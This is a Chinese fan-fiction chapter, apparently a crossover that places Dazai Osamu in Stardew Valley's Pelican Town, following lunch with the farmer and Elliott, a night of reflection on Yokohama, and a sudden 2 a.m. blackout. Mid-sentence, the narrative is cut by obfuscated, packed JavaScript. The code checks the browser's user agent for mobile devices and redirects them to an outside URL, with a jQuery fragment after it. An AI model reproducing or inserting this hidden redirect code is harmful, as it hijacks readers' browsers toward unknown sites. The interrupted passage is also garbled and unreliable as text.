“——所以我就说,那个香料真的特别呛,我第一次放的时候没控制好量,整个厨房都是那个味道,艾利欧特咳了好半天——” 太宰治礼貌地听着。他一边听,一边和她向农场走去。 阳光落在他们身上,把两个人的影子拉得长长的,投在草地上。在正午的光线照射下,两条截然不同的影子在草地上交汇在一起。 艾利欧特依旧站在木屋的门口等着他们。他的脸上挂着惯常温和的笑容只是当他的目光落在农场主牵着太宰治手腕的那只手上时,显得越发晦暗不明。 “中午好,太宰先生,很荣幸今天又见到您了。” 青年侧了侧身,让出了门口的位置,声音听起来和平时一样温和, “进来一起吃午饭吧。” 太宰治迎着他的目光,没有躲闪,也没有抽出手,坦然地跟着农场主跨进了门。 夜晚。 太宰治没有直接躺在床上睡觉。 他坐在自家门外的房檐下,背靠着木柱,双腿伸展开来,整个人懒洋洋地摊在木地板上。 万籁俱寂。 时钟上的时间已经转到了第二天。太宰治仍坐在房檐下,盯着那轮圆月,难得开始思考了一些形而上学的哲学问题。 在横滨消失一天两天没有关系,如果没有重要任务,大概森鸥外一周都不会派人去找他。 那个压榨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17475914|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未成年人的屑老板,只会在他失踪超过一周之后,才会慢吞吞地让部下“去看看太宰君是不是又在哪里摸鱼了”。然后部下会去他常去的入水点找一圈,去后山找一圈——找不到,然后汇报,然后森鸥外会开始评估“太宰治真的出事”的可能性,以及秘密暴露的可能性,然后派更多人去找。 但之后呢? 他整个人的、后天所塑造的那些全部的性格、经历、接触过的人与事——都来自于横滨。 港口mafia也好,森鸥外、中原中也也好,织田作之助、坂口安吾,lupin也好——这些东西一点一滴地像积木一样,搭成了现在的他。 即使不去承认,太宰治的灵魂早就打上了那里的标签。那些痕迹与他的灵魂共生,与他的血肉长在一起。 如果那些积木被一块一块地抽走;如果没有那些让他烦躁、让他厌恶、让他想要逃离但又无法割舍的东西;如果没有死去的概念,也没有对活着的向往;这样的他,永远地被留在鹈鹕镇…… 太宰治的目光落在湖面上,但瞳孔是失焦的。湖面倒映着圆月的倒影,在夜风中揉皱了又散开。 ……月亮上的辉夜姬,最后是怎么回去的来着? 他想不起来,因为他不喜欢那个故事,因为他记得在那个故事里,辉夜姬一直没有选择的权利。 少年还没理出那些纷杂如毛线球的头绪,突然眼前一黑,晕了过去。 没有过渡,没有渐变,他在凌晨两点整,准时失去了意识。 再次醒来的时候,人已经好好的躺在床上,但床头柜上多了一样东西。 一张账单。 ——是来自哈维医生的热心援助。 “昨晚有人将你送到诊所了。你因中暑而晕倒!你要照顾好自己,并在合适的时间及时睡觉。你的医疗金是两百金。 ——哈维医生” 太宰治面无表情地捏碎了那张纸。 同时,他发现自己的金币确实被对方拿走了十分之一。 他昨天晚上明明并没有睡意,没有任何困了的感觉与想要睡觉的念头,但他却突然在某个点,彻底失去了意识。 这究竟是有人在暗中为自己的诊所创收,还是鹈鹕镇特有的规则? 太宰治坐在床边,突然想起来一件小事。 之前农场主急急忙忙与他告别的时候,说过的,“这个点我还没回去的话,两点前会没法上床睡觉的。” 他当时没有太在意,但如果大致算算时间,昨天他失去意识的时刻,与农场主提到的时间大致符合。 太宰治手里还攥着那个纸团,推测了许久,突然自嘲地笑了一声。 ……这对农场主来说,倒也不是什么不能问的问题。 这些困扰,不如当面去问她。她是这个世界里最了解规则的人之一,而农场主向来对他毫不设防。 正好今天约好了参加沙漠节—— 太宰治站起身,走到窗前,借着玻璃的反光打量着自己。 模糊的倒影中,少年穿着一身黑色的休闲装——那是昨天农场主知道他失去了服装后又让他挑选的新作。 他现在看起来不太像港口mafia的干部,更像是一个普通的,住在乡下小镇里的少年。 是他渴望的,普通的生活。 他离开了属于自己的小屋。 该出发去农场了。